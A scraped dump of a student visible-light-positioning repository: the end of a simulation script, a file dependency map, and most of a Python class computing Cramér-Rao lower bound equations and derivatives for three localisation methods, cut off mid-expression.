tx_aoa[1] x_becha[i] = tx_rtof[0] y_becha[i] = tx_rtof[1] x_roberts[i] = tx_tdoa[0] y_roberts[i] = tx_tdoa[1] y_data = np.copy(y) x_data = np.copy(x) for i in range(len(y)): y_data[i] = (y[i][0] + y[i][1])/2 x_data[i] = (x[i][0] + x[i][1])/2 # saving simulation results in corresponding files. np.savetxt(f_name+'x.txt', x, delimiter=',') np.savetxt(f_name+'x_pose.txt', x_pose, delimiter=',') np.savetxt(f_name+'x_becha.txt', x_becha, delimiter=',') np.savetxt(f_name+'x_roberts.txt', x_roberts, delimiter=',') np.savetxt(f_name+'x_data.txt', x_data, delimiter=',') np.savetxt(f_name+'y.txt', y, delimiter=',') np.savetxt(f_name+'y_data.txt', y_data, delimiter=',') np.savetxt(f_name+'y_becha.txt', y_becha, delimiter=',') np.savetxt(f_name+'y_roberts.txt', y_roberts, delimiter=',') np.savetxt(f_name+'y_pose.txt', y_pose, delimiter=',') np.savetxt(f_name+'time.txt', time_, delimiter=',') np.savetxt(f_name+'rel_hdg.txt', rel_hdg, delimiter=',') print(time_) if __name__ == '__main__': main()
{"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]}
53,986
fsahbaz/elec491
refs/heads/main
/Bound_Estimation/CRLB_init.py
import math import numpy as np class CRLB_init: """ This class contains the equations and their derivatives for calculation of CRLB bounds for three methods: Robert, Bechadergue, Soner """ def __init__(self, L_1, L_2, rx_area, rx_fov, tx_half_angle, c = 3e8): """ :param L_1: distance between two tx leds :param L_2: distance between two rx detectors :param rx_area: area of one detector :param rx_fov: field of view of the receiver detector :param tx_half_angle: half angle of the tx led lighting pattern :param c: speed of light """ self.L1 = L_1 # m self.L2 = L_2 # m self.rx_area = rx_area # m^2 self.c = c # speed of light(m/s) self.fov = rx_fov # angle self.half_angle = tx_half_angle # angle self.m = -np.log(2) / np.log(math.cos(math.radians(self.half_angle))) def lamb_coeff(self, ij, tx1, tx2, flag=True): """ (m + 1) * A / (2 * pi * sqrt(tx_x^2 + tx_y^2)) :param ij: :param tx1: :param tx2: :param flag: :return: """ L1 = np.sqrt((tx2[0] - tx1[0]) ** 2 + (tx2[1] - tx1[1]) ** 2) if ij == 11: return ((self.m + 1) * self.rx_area) / (2 * np.pi * (tx1[0]**2 + tx1[1]**2)) elif ij == 12: if flag: return ((self.m + 1) * self.rx_area) / (2 * np.pi * (tx2[0]**2 + tx2[1]**2)) else: return ((self.m + 1) * self.rx_area) / (2 * np.pi * (tx1[0]**2 + (tx1[1] + L1)**2)) elif ij == 21: return ((self.m + 1) * self.rx_area) / (2 * np.pi * (tx1[0]**2 + (tx1[1] - self.L2)**2)) elif ij == 22: if flag: return ((self.m + 1) * self.rx_area) / (2 * np.pi * (tx2[0]**2 + (tx2[1] - self.L2)**2)) else: return ((self.m + 1) * self.rx_area) / (2 * np.pi * (tx1[0]**2 + (tx1[1] + self.L1 - self.L2)**2)) else: raise ValueError("Entered tx rx values do not exist for lamb_coeff") def lamb_irrad(self, ij, tx1, tx2): L1 = np.sqrt((tx2[0] - tx1[0]) ** 2 + (tx2[1] - tx1[1]) ** 2) if ij == 11: return ((tx1[0] / np.sqrt(tx1[0]**2 + tx1[1]**2)) * ((tx2[1] - tx1[1]) / L1) - (tx1[1] / np.sqrt(tx1[0]**2 + tx1[1]**2)) * ((tx2[0] - tx1[0]) / L1)) elif ij == 12: return ((tx2[0] / np.sqrt(tx2[0]**2 + tx2[1]**2)) * ((tx2[1] - tx1[1]) / L1) - (tx2[1] / np.sqrt(tx2[0]**2 + tx2[1]**2)) * ((tx2[0] - tx1[0]) / L1)) elif ij == 21: return ((tx1[0] / np.sqrt(tx1[0]**2 + (tx1[1] - self.L2)**2)) * ((tx2[1] - tx1[1]) / L1) - ((tx1[1] - self.L2) / np.sqrt(tx1[0]**2 + (tx1[1] - self.L2)**2)) * ((tx2[0] - tx1[0]) / L1)) elif ij == 22: return ((tx2[0] / np.sqrt(tx2[0]**2 + (tx2[1] - self.L2)**2)) * ((tx2[1] - tx1[1]) / L1) - ((tx2[1] - self.L2) / np.sqrt(tx2[0]**2 + (tx2[1] - self.L2)**2)) * ((tx2[0] - tx1[0]) / L1)) else: raise ValueError("Entered tx rx values do not exist for irrad angle (lamb_irrad)") def lamb_incid(self, ij, tx1, tx2, flag=True): L1 = np.sqrt((tx2[0] - tx1[0]) ** 2 + (tx2[1] - tx1[1]) ** 2) if ij == 11: return tx1[0] / np.sqrt(tx1[0]**2 + tx1[1]**2) elif ij == 12: if flag: return tx2[0] / np.sqrt(tx2[0]**2 + tx2[1]**2) else: return tx1[0] / np.sqrt(tx1[0]**2 + (tx1[1] + L1)**2) elif ij == 21: return tx1[0] / np.sqrt(tx1[0]**2 + (tx1[1] - self.L2)**2) elif ij == 22: if flag: return tx2[0] / np.sqrt(tx2[0]**2 + (tx2[1] - self.L2)**2) else: return tx1[0] / np.sqrt(tx1[0]**2 + (tx1[1] + L1 - self.L2)**2) else: raise ValueError("lamb_incid") def get_h_ij(self, ij, tx1, tx2, flag=True): if flag: return self.lamb_coeff(ij, tx1, tx2, flag) * (self.lamb_irrad(ij, tx1, tx2)**self.m) \ * self.lamb_incid(ij, tx1, tx2, flag) else: return self.lamb_coeff(ij, tx1, tx2, flag) * (self.lamb_incid(ij, tx1, tx2, flag)**(self.m + 1)) # d_coeff_x1 # flag == True for Bechadergue, Soner # flag == False for Roberts def get_d_lamb_coeff_d_param(self, k, ij, tx1, tx2, flag=True): if k == 1: return self.d_lamb_coeff_x1(ij, tx1, tx2, flag) elif k == 2: return self.d_lamb_coeff_y1(ij, tx1, tx2, flag) elif k == 3: return self.d_lamb_coeff_x2(self, ij, tx1, tx2) elif k == 4: return self.d_lamb_coeff_y2(self, ij, tx1, tx2) else: raise ValueError("get_d_lamb_coeff_d_param") def d_lamb_coeff_x1(self, ij, tx1, tx2, flag=True): if ij == 11: return -(((self.m + 1) * self.rx_area * tx1[0]) / (np.pi * (tx1[0]**2 + tx1[1]**2)**2)) elif ij == 12: if flag: return 0 else: return -(((self.m + 1) * self.rx_area * tx1[0]) / (np.pi * (tx1[0]**2 + (tx1[1] + self.L1)**2)**2)) elif ij == 21: return -(((self.m + 1) * self.rx_area * tx1[0]) / (np.pi * (tx1[0]**2 + (tx1[1] - self.L2)**2)**2)) elif ij == 22: if flag: return 0 else: return -(((self.m + 1)*self.rx_area * tx1[0]) / (np.pi * (tx1[0]**2+(tx1[1] + self.L1 - self.L2)**2)**2)) else: raise ValueError("d_lamb_coeff_x1") # d_coeff_y1 def d_lamb_coeff_y1(self, ij, tx1, tx2, flag=True): if ij == 11: return -(((self.m + 1) * self.rx_area * tx1[1]) / (np.pi * (tx1[0]**2 + tx1[1]**2)**2)) elif ij == 12: if flag: return 0 else: return -(((self.m + 1) * self.rx_area * (tx1[1] + self.L1)) / (np.pi * (tx1[0]**2 + (tx1[1] + self.L1)**2)**2)) elif ij == 21: return -(((self.m + 1) * self.rx_area * (tx1[1] - self.L2)) / (np.pi * (tx1[0]**2 + (tx1[1] - self.L2)**2)**2)) elif ij == 22: if flag: return 0 else: return -(((self.m+1) * self.rx_area * (tx1[1] + self.L1 - self.L2)) / (np.pi * (tx1[0]**2 + (tx1[1] + self.L1 - self.L2)**2)**2)) else: raise ValueError("Entered tx rx values do not exist d_lamb_coeff_y1") # d_coeff_x2 def d_lamb_coeff_x2(self, ij, tx1, tx2): if ij == 11: return 0 elif ij == 12: return -(((self.m + 1) * self.rx_area * tx2[0]) / (np.pi * (tx2[0]**2 + tx2[1]**2)**2)) elif ij == 21: return 0 elif ij == 22: return -(((self.m + 1) * self.rx_area * tx2[0]) / (np.pi * (tx2[0]**2 + (tx2[1] - self.L2)**2)**2)) else: raise ValueError("Entered tx rx values do not exist d_lamb_coeff_x2") # d_coeff_y2 def d_lamb_coeff_y2(self, ij, tx1, tx2): if ij == 11: return 0 elif ij == 12: return -(((self.m + 1) * self.rx_area * tx2[1]) / (np.pi * (tx2[0]**2 + tx2[1]**2)**2)) elif ij == 21: return 0 elif ij == 22: return -(((self.m + 1) * self.rx_area * (tx2[1] - self.L2)) / (np.pi * (tx2[0]**2 + (tx2[1] - self.L2)**2)**2)) else: raise ValueError("Entered tx rx values do not exist d_lamb_coeff_y2") def get_d_lamb_irrad_d_param(self, k, ij, tx1, tx2): if k == 1: return self.d_lamb_irrad_x1(ij, tx1, tx2) elif k == 2: return self.d_lamb_irrad_y1(ij, tx1, tx2) elif k == 3: return self.d_lamb_irrad_x2(ij, tx1, tx2) elif k == 4: return self.d_lamb_irrad_y2(ij, tx1, tx2) else: raise ValueError("Entered tx rx values do not exist") # irrad_x1 def d_lamb_irrad_x1(self, ij, tx1, tx2): L1 = np.sqrt((tx2[0] - tx1[0]) ** 2 + (tx2[1] - tx1[1]) ** 2) if ij == 11: D = np.sqrt(tx1[0]**2 + tx1[1]**2) return ((tx1[1]**2 / D**3) * ((tx2[1] - tx1[1]) / L1) + (tx1[0]*tx1[1] / D**3) * ((tx2[0] - tx1[0]) / L1) + tx1[1] / (D * L1) + (tx1[0] * (tx2[1] - tx1[1]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2)) - (tx1[1] * (tx2[0] - tx1[0]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2))) elif ij == 12: D = np.sqrt(tx2[0]**2 + tx2[1]**2) return ((tx2[0]*(tx2[1] - tx1[1]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2)) - (tx2[1]*(tx2[0] - tx1[0]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2)) + (tx2[1] / (D * L1))) elif ij == 21: D = np.sqrt(tx1[0]**2 + (tx1[1]-self.L2)**2) return (((tx1[1] - self.L2)**2 / D**3) * ((tx2[1] - tx1[1]) / L1) + (tx1[0] * (tx1[1]-self.L2) / D**3) * ((tx2[0] - tx1[0]) / L1) - (tx1[1] - self.L2) / (D * L1) + (tx1[0] * (tx2[1] - tx1[1]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2)) - ((tx1[1] - self.L2) * (tx2[0] - tx1[0]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2))) elif ij == 22: D = np.sqrt(tx2[0]**2 + (tx2[1]-self.L2)**2) return ((tx2[0]*(tx2[1] - tx1[1]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2)) - ((tx2[1]-self.L2)*(tx2[0] - tx1[0]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2)) + (tx2[1] - self.L2) / (D * L1)) else: raise ValueError("Entered tx rx values do not exist incidence angle") # irrad_y1 def d_lamb_irrad_y1(self, ij, tx1, tx2): L1 = np.sqrt((tx2[0] - tx1[0]) ** 2 + (tx2[1] - tx1[1]) ** 2) if ij == 11: D = np.sqrt(tx1[0]**2 + tx1[1]**2) return (-(tx1[0]*tx1[1] / D**3) * ((tx2[1] - tx1[1]) / L1) - tx1[0] / (D * L1) - (tx1[0]**2 / D**3) * ((tx2[0] - tx1[0]) / L1) + (tx1[0]*(tx2[1] - tx1[1]) / D) * ((tx2[1] - tx1[1]) / L1) * (L1**(-2)) - (tx1[1]*(tx2[0] - tx1[0]) / D) * ((tx2[1] - tx1[1]) / L1) * (L1**(-2))) elif ij == 12: D = np.sqrt(tx2[0]**2 + tx2[1]**2) return ((tx2[0]*(tx2[1] - tx1[1]) / D) * ((tx2[1] - tx1[1]) / L1) * (L1**(-2)) - (tx2[1]*(tx2[0] - tx1[0]) / D) * ((tx2[1] - tx1[1]) / L1) * (L1**(-2)) - (tx2[0] / (D*L1))) elif ij == 21: D = np.sqrt(tx1[0]**2 + (tx1[1]-self.L2)**2) return (-(tx1[0]*(tx1[1]-self.L2) / D**3) * ((tx2[1] - tx1[1]) / L1) - tx1[0] / (D * L1) # changed - ((tx1[0]**2 + tx1[1] * (tx1[1]-self.L2)) / D**3) * ((tx2[0] - tx1[0]) / L1) + (tx1[0]*(tx2[1] - tx1[1]) / D) * ((tx2[1] - tx1[1]) / L1) * (L1**(-2)) - ((tx1[1]-self.L2)*(tx2[0] - tx1[0]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2))) elif ij == 22: D = np.sqrt(tx2[0]**2 + (tx2[1]-self.L2)**2) return ((tx2[0]*(tx2[1] - tx1[1]) / D) * ((tx2[1] - tx1[1]) / L1) * (L1**(-2)) - ((tx2[1]-self.L2)*(tx2[0] - tx1[0]) / D) * ((tx2[1] - tx1[1]) / L1) * (L1**(-2)) - (tx2[0] / (D*L1))) else: raise ValueError("Entered tx rx values do not exist incidence angle") # irrad_x2 def d_lamb_irrad_x2(self, ij, tx1, tx2): L1 = np.sqrt((tx2[0] - tx1[0])**2 + (tx2[1] - tx1[1])**2) if ij == 11: D = np.sqrt(tx1[0]**2 + tx1[1]**2) return (-(tx1[0]*(tx2[1] - tx1[1]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2)) + (tx1[1]*(tx2[0] - tx1[0]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2)) - (tx1[1] / (D * L1))) elif ij == 12: D = np.sqrt(tx2[0]**2 + tx2[1]**2) return ((tx2[1]**2 / D**3) * ((tx2[1] - tx1[1]) / L1) + (tx2[0]*tx2[1] / D**3) * ((tx2[0] - tx1[0]) / L1) - tx2[1] / (D * L1) # changed - (tx2[0]*(tx2[1] - tx1[1]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2)) + (tx2[1]*(tx2[0] - tx1[0]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2))) elif ij == 21: D = np.sqrt(tx1[0]**2 + (tx1[1]-self.L2)**2) return (-(tx1[0]*(tx2[1] - tx1[1]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2)) + ((tx1[1]-self.L2)*(tx2[0] - tx1[0]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2)) - ((tx1[1] - self.L2) / (D * L1))) elif ij == 22: D = np.sqrt(tx2[0]**2 + (tx2[1]-self.L2)**2) return (((tx2[1]-self.L2)**2 / D**3) * ((tx2[1] - tx1[1]) / L1) + (tx2[0]*(tx2[1]-self.L2) / D**3) * ((tx2[0] - tx1[0]) / L1) - (tx2[1]-self.L2) / (D * L1) - (tx2[0] * (tx2[1] - tx1[1]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2)) # changed + ((tx2[1]-self.L2) * (tx2[0] - tx1[0]) / D) * ((tx2[0] - tx1[0]) / L1) * (L1**(-2))) # changed else: raise ValueError("Entered tx rx values do not exist incidence angle") # irrad_y2 def d_lamb_irrad_y2(self, ij, tx1, tx2): L1 = np.sqrt((tx2[0] - tx1[0])**2 + (tx2[1] - tx1[1])**2) if ij == 11: D = np.sqrt(tx1[0]**2 + tx1[1]**2) return (-(tx1[0]*(tx2[1] - tx1[1]) / D) * ((tx2[1] - tx1[1]) / L1) * (L1**(-2)) + (tx1[1]*(tx2[0] - tx1[0]) / D) * ((tx2[1] - tx1[1]) / L1) * (L1**(-2)) + (tx1[0] / (D * L1))) elif ij == 12: D = np.sqrt(tx2[0]**2 + tx2[1]**2) return (-(tx2[0]*tx2[1] / D**3) * ((tx2[1] - tx1[1]) / L1) + tx2[0] / (D * L1) # changed - (tx2[0]**2 / D**3) * ((tx2[0] - tx1[0]) / L1) - (tx2[0]*(tx2[1] - tx1[1]) / D) * ((tx2[1] - tx1[1]) / L1) * (L1**(-2)) # changed + (tx2[1]*(tx2[0] - tx1[0]) / D) * ((tx2[1] - tx1[1]) / L1) * (L1**(-2))) # changed elif ij == 21: D = np.sqrt(tx1[0]**2 + (tx1[1]-self.L2)**2) return (-(tx1[0]*(tx2[1] - tx1[1]) / D) * ((tx2[1] - tx1[1]) / L1) * (L1**(-2)) + ((tx1[1]-self.L2)*(tx2[0] - tx1[0]) / D) * ((tx2[1] - tx1[1]) / L1) * (L1**(-2)) + (tx1[0] / (D * L1))) elif ij == 22: D = np.sqrt(tx2[0]**2 + (tx2[1]-self.L2)**2) return (-(tx2[0]*(tx2[1]-self.L2) / D**3) * ((tx2[1] - tx1[1]) / L1) + tx2[0] / (D * L1) - ((tx2[0]**2 + tx2[1] * (tx2[1]-self.L2)) / D**3) * ((tx2[0] - tx1[0]) / L1) - (tx2[0]*(tx2[1] - tx1[1]) / D) * ((tx2[1] - tx1[1]) / L1) * (L1**(-2)) # changed + ((tx2[1]-self.L2)*(tx2[0] - tx1[0]) / D) * ((tx2[1] - tx1[1]) / L1) * (L1**(-2))) # changed else: raise ValueError("Entered tx rx values do not exist incidence angle") # d_incid_x1 # flag == True for Bechadergue, Soner # flag == False for Roberts def get_d_lamb_incid_d_param(self, k, ij, tx1, tx2, flag=True): if k == 1: return self.d_lamb_incid_x1(ij, tx1, tx2, flag) elif k == 2: return self.d_lamb_incid_y1(ij, tx1, tx2, flag) elif k == 3: return self.d_lamb_incid_x2(ij, tx1, tx2, flag) elif k == 4: return self.d_lamb_incid_y2(ij, tx1, tx2, flag) else: raise ValueError("Entered tx rx values do not exist incidence angle") def d_lamb_incid_x1(self, ij, tx1, tx2, flag=True): if ij == 11: D = np.sqrt(tx1[0]**2 + tx1[1]**2) return tx1[1]**2 / (D**3) elif ij == 12: if flag: return 0 else: D = np.sqrt(tx1[0]**2 + (tx1[1] + self.L1)**2) return ((tx1[1] + self.L1)**2) / (D**3) elif ij == 21: D = np.sqrt(tx1[0]**2 + (tx1[1] - self.L2)**2) return (tx1[1] - self.L2)**2 / (D**3) elif ij == 22: if flag: return 0 else: D = np.sqrt(tx1[0]**2 + (tx1[1] + self.L1 - self.L2)**2) return ((tx1[1] + self.L1 - self.L2)**2) / (D**3) else: raise ValueError("Entered tx rx values do not exist incidence angle") # d_incid_y1 def d_lamb_incid_y1(self, ij, tx1, tx2, flag=True): if ij == 11: D = np.sqrt(tx1[0]**2 + tx1[1]**2) return -(tx1[0]*tx1[1]) / (D**3) elif ij == 12: if flag: return 0 else: D = np.sqrt(tx1[0]**2 + (tx1[1] + self.L1)**2) return -(tx1[0]*(tx1[1] + self.L1)) / (D**3) elif ij == 21: D = np.sqrt(tx1[0]**2 + (tx1[1] - self.L2)**2) return -(tx1[0]*(tx1[1] - self.L2)) / (D**3) elif ij == 22: if flag: return 0 else: D = np.sqrt(tx1[0]**2 + (tx1[1] + self.L1 - self.L2)**2) return -(tx1[0]*(tx1[1] + self.L1 - self.L2)) / (D**3) else: raise ValueError("Entered tx rx values do not exist incidence angle") # d_incid_x2 def d_lamb_incid_x2(self, ij, tx1, tx2): if ij == 11: return 0 elif ij == 12: D = np.sqrt(tx2[0]**2 + tx2[1]**2) return tx2[1]**2 / (D**3) elif ij == 21: return 0 elif ij == 22: D = np.sqrt(tx2[0]**2 + (tx2[1] - self.L2)**2) return (tx2[1] - self.L2)**2 / (D**3) else: raise ValueError("Entered tx rx values do not exist incidence angle") # d_incid_y2 def d_lamb_incid_y2(self, ij, tx1, tx2): if ij == 11: return 0 elif ij == 12: D = np.sqrt(tx2[0]**2 + tx2[1]**2) return -(tx2[0]*tx2[1]) / (D**3) elif ij == 21: return 0 elif ij == 22: D = np.sqrt(tx2[0]**2 + (tx2[1] - self.L2)**2) return -(tx2[0]*(tx2[1] - self.L2)) / (D**3) else: raise ValueError("Entered tx rx values do not exist incidence angle") # derivatives of hij: # flag == True for Bechadergue, Soner # flag == False for Roberts def get_d_hij_d_param(self, k, ij, tx1, tx2, flag=True): if k == 1: return self.d_h_d_x1(ij, tx1, tx2, flag) elif k == 2: return self.d_h_d_y1(ij, tx1, tx2, flag) elif k == 3: return self.d_h_d_x2(ij, tx1, tx2, flag) elif k == 4: return self.d_h_d_y2(ij, tx1, tx2, flag) else: raise ValueError("Entered tx rx values do not exist incidence angle") def d_h_d_x1(self, ij, tx1, tx2, flag=True): if flag: return (self.d_lamb_coeff_x1(ij, tx1, tx2, flag) * (self.lamb_irrad(ij, tx1, tx2)**self.m) * self.lamb_incid(ij, tx1, tx2, flag) + (self.lamb_coeff(ij, tx1, tx2, flag) * (self.m * self.d_lamb_irrad_x1(ij, tx1, tx2) * (self.lamb_irrad(ij, tx1, tx2)**(self.m - 1))) * self.lamb_incid(ij, tx1, tx2, flag)) + self.lamb_coeff(ij, tx1, tx2, flag) * (self.lamb_irrad(ij, tx1, tx2)**self.m) * self.d_lamb_incid_x1(ij, tx1, tx2, flag)) else: return (self.d_lamb_coeff_x1(ij, tx1, tx2, flag) * (self.lamb_incid(ij, tx1, tx2, flag)**(self.m + 1)) + self.lamb_coeff(ij, tx1, tx2, flag) * (self.m + 1) * self.d_lamb_incid_x1(ij, tx1, tx2, flag) * (self.lamb_incid(ij, tx1, tx2, flag)**self.m)) def d_h_d_x2(self, ij, tx1, tx2, flag=True): return (self.d_lamb_coeff_x2(ij, tx1, tx2) * (self.lamb_irrad(ij, tx1, tx2)**self.m) * self.lamb_incid(ij, tx1, tx2, flag) + (self.lamb_coeff(ij, tx1, tx2, flag) * (self.m * self.d_lamb_irrad_x2(ij, tx1, tx2) * (self.lamb_irrad(ij, tx1, tx2)**(self.m - 1))) * self.lamb_incid(ij, tx1, tx2)) + self.lamb_coeff(ij, tx1, tx2, flag) * (self.lamb_irrad(ij, tx1, tx2)**self.m) * self.d_lamb_incid_x2(ij, tx1, tx2)) def d_h_d_y1(self, ij, tx1, tx2, flag=True): if flag: return (self.d_lamb_coeff_y1(ij, tx1, tx2, flag) * (self.lamb_irrad(ij, tx1, tx2)**self.m) * self.lamb_incid(ij, tx1, tx2, flag) + (self.lamb_coeff(ij, tx1, tx2, flag) * (self.m * self.d_lamb_irrad_y1(ij, tx1, tx2) * (self.lamb_irrad(ij, tx1, tx2)**(self.m - 1))) * self.lamb_incid(ij, tx1, tx2, flag)) + self.lamb_coeff(ij, tx1, tx2, flag) * (self.lamb_irrad(ij, tx1, tx2)**self.m) * self.d_lamb_incid_y1(ij, tx1, tx2, flag)) else: return (self.d_lamb_coeff_y1(ij, tx1, tx2, flag) * (self.lamb_incid(ij, tx1, tx2)**(self.m + 1)) + self.lamb_coeff(ij, tx1, tx2, flag) * (self.m + 1) * self.d_lamb_incid_y1(ij, tx1, tx2, flag) * (self.lamb_incid(ij, tx1, tx2, flag)**self.m)) def d_h_d_y2(self, ij, tx1, tx2, flag=True): return (self.d_lamb_coeff_y2(ij, tx1, tx2) * (self.lamb_irrad(ij, tx1, tx2)**self.m) * self.lamb_incid(ij, tx1, tx2, flag) + (self.lamb_coeff(ij, tx1, tx2, flag) * (self.m * self.d_lamb_irrad_y2(ij, tx1, tx2) * (self.lamb_irrad(ij, tx1, tx2)**(self.m - 1))) * self.lamb_incid(ij, tx1, tx2, flag)) + self.lamb_coeff(ij, tx1, tx2, flag) * (self.lamb_irrad(ij, tx1, tx2)**self.m) * self.d_lamb_incid_y2(ij, tx1, tx2)) def get_tau(self, ij, tx1, tx2, flag=True): if ij == 11: return np.sqrt(tx1[0]**2 + tx1[1]**2) / self.c elif ij == 12: if flag: return np.sqrt(tx2[0]**2 + tx2[1]**2) / self.c else: return np.sqrt(tx1[0]**2 + (tx1[1] + self.L1)**2) / self.c elif ij == 21: return np.sqrt(tx1[0]**2 + (tx1[1] - self.L2)**2) / self.c elif ij == 22: if flag: return np.sqrt(tx2[0]**2 + (tx2[1] - self.L2)**2) / self.c else: return np.sqrt(tx1[0]**2 + (tx1[1] + self.L1 - self.L2)**2) / self.c else: raise ValueError("Entered tx rx values do not exist") # derivatives of tau: def get_d_tau_d_param(self, k, ij, tx1, tx2, flag=True): if k == 1: return self.d_tau_d_x1(ij, tx1, tx2, flag) elif k == 2: return self.d_tau_d_y1(ij, tx1, tx2, flag) elif k == 3: return self.d_tau_d_x2(ij, tx1, tx2, flag) elif k == 4: return self.d_tau_d_y2(ij, tx1, tx2, flag) else: raise ValueError("Entered tx rx values do not exist incidence angle") def d_tau_d_x1(self, ij, tx1, tx2, flag=True): if ij == 11: return tx1[0] / (np.sqrt(tx1[0]**2 + tx1[1]**2) * self.c) elif ij == 12: if flag: return 0 else: return tx1[0] / (np.sqrt(tx1[0]**2 + (tx1[1] + self.L1)**2) * self.c) elif ij == 21: return tx1[0] / (np.sqrt(tx1[0]**2 + (tx1[1] - self.L2)**2) * self.c) elif ij == 22: if flag: return 0 else: return tx1[0] / (np.sqrt(tx1[0]**2 + (tx1[1] + self.L1 - self.L2)**2) * self.c) else: raise ValueError("Entered tx rx values do not exist") def d_tau_d_x2(self, ij, tx1, tx2, flag=True): if flag: return 0 else: if ij == 11: return 0 elif ij == 12: return tx2[0] / (np.sqrt(tx2[0]**2 + tx2[1]**2) * self.c) elif ij == 21: return 0 elif ij == 22: return tx2[0] / (np.sqrt(tx2[0]**2 + (tx2[1] - self.L2)**2) * self.c) else: raise ValueError("Entered tx rx values do not exist") def d_tau_d_y1(self, ij, tx1, tx2, flag=True): if ij == 11: return tx1[1] / (np.sqrt(tx1[0]**2 + tx1[1]**2) * self.c) elif ij == 12: if flag: return 0 else: return (tx1[1] + self.L1) / (np.sqrt(tx1[0]**2 + (tx1[1] + self.L1)**2) * self.c) elif ij == 21: return (tx1[1] - self.L2) / (np.sqrt(tx1[0]**2 + (tx1[1] - self.L2)**2) * self.c) elif ij == 22: if flag: return 0 else: return (tx1[1]+self.L1-self.L2) / (np.sqrt(tx1[0]**2 + (tx1[1]+self.L1-self.L2)**2) * self.c) else: raise ValueError("Entered tx rx values do not exist") def d_tau_d_y2(self, ij, tx1, tx2, flag=True): if flag: return 0 else: if ij == 11: return 0 elif ij == 12: return tx2[1] / (np.sqrt(tx2[0]**2 + tx2[1]**2) * self.c) elif ij == 21: return 0 elif ij == 22: return (tx2[1] - self.L2) / (np.sqrt(tx2[0]**2 + (tx2[1] - self.L2)**2) * self.c) else: raise ValueError("Entered tx rx values do not exist") # quad_coeff def quad_coeff(self, ij, q, tx1, tx2): if q == 1 or q == 3: const = -1 / (4*self.fov) elif q == 2 or q == 4: const = 1 / (4*self.fov) else: raise ValueError("Entered q value does not exist") if ij == 11: return (1/4) + const*np.arctan(tx1[1] / tx1[0]) elif ij == 12: return (1/4) + const*np.arctan(tx2[1] / tx2[0]) elif ij == 21: return (1/4) + const*np.arctan((tx1[1] - self.L2) / tx1[0]) elif ij == 22: return (1/4) + const*np.arctan((tx2[1] - self.L2) / tx2[0]) else: raise ValueError("Entered tx rx values do not exist") # derivatives of quad_coeff # buradan itibaren indentlere bir bakilsin def d_quad_coeff_d_param(self, k, ij, q, tx1, tx2): if k == 1: return self.d_quad_coeff_d_x1(ij, q, tx1, tx2) elif k == 2: return self.d_quad_coeff_d_y1(ij, q, tx1, tx2) elif k == 3: return self.d_quad_coeff_d_x2(ij, q, tx1, tx2) elif k == 4: return self.d_quad_coeff_d_y2(ij, q, tx1, tx2) else: raise ValueError("Entered tx rx values do not exist incidence angle") def d_quad_coeff_d_x1(self, ij, q, tx1, tx2): if q == 1 or q == 3: const = -1 / (4*self.fov) elif q == 2 or q == 4: const = 1 / (4*self.fov) else: raise ValueError("Entered q value does not exist") if ij == 11: return -const*(tx1[1] / (tx1[0]**2 + tx1[1]**2)) elif ij == 12: return 0 elif ij == 21: return -const*((tx1[1] - self.L2) / (tx1[0]**2 + (tx1[1] - self.L2)**2)) elif ij == 22: return 0 else: raise ValueError("Entered tx rx values do not exist") def d_quad_coeff_d_x2(self, ij, q, tx1, tx2): if q == 1 or q == 3: const = -1 / (4*self.fov) elif q == 2 or q == 4: const = 1 / (4*self.fov) else: raise ValueError("Entered q value does not exist") if ij == 11: return 0 elif ij == 12: return -const*(tx2[1] / (tx2[0]**2 + tx2[1]**2)) elif ij == 21: return 0 elif ij == 22: return -const*((tx2[1] - self.L2) / (tx2[0]**2 + (tx2[1] - self.L2)**2)) else: raise ValueError("Entered tx rx values do not exist") def d_quad_coeff_d_y1(self, ij, q, tx1, tx2): if q == 1 or q == 3: const = -1 / (4*self.fov) elif q == 2 or q == 4: const = 1 / (4*self.fov) else: raise ValueError("Entered q value does not exist") if ij == 11: return const*(tx1[0] / (tx1[0]**2 + tx1[1]**2)) elif ij == 12: return 0 elif ij == 21: return const*(tx1[0] / (tx1[0]**2 + (tx1[1] - self.L2)**2)) elif ij == 22: return 0 else: raise ValueError("Entered tx rx values do not exist") def d_quad_coeff_d_y2(self, ij, q, tx1, tx2): if q == 1 or q == 3: const = -1 / (4*self.fov) elif q == 2 or q == 4: const = 1 / (4*self.fov) else: raise ValueError("Entered q value does not exist") if ij == 11: return 0 elif ij == 12: return const*(tx2[0] / (tx2[0]**2 + tx2[1]**2)) elif ij == 21: return 0 elif ij == 22: return const*(tx2[0] / (tx2[0]**2 + (tx2[1] - self.L2)**2)) else: raise ValueError("Entered tx rx values do not exist") # h_ijq def get_h_ijq(self, ij, q, tx1, tx2): return self.get_h_ij(ij, tx1, tx2) * self.quad_coeff(ij, q, tx1, tx2) # derivatives of h_ijq def get_d_hij_q_d_param(self, k, ij, q, tx1, tx2): if k == 1: return self.d_hij_q_d_x1(ij, q, tx1, tx2) elif k == 2: return self.d_hij_q_d_y1(ij, q, tx1, tx2) elif k == 3: return self.d_hij_q_d_x2(ij, q, tx1, tx2) elif k == 4: return self.d_hij_q_d_y2(ij, q, tx1, tx2) else: raise ValueError("Entered tx rx values do not exist") def d_hij_q_d_x1(self, ij, q, tx1, tx2): return self.d_h_d_x1(ij, tx1, tx2, 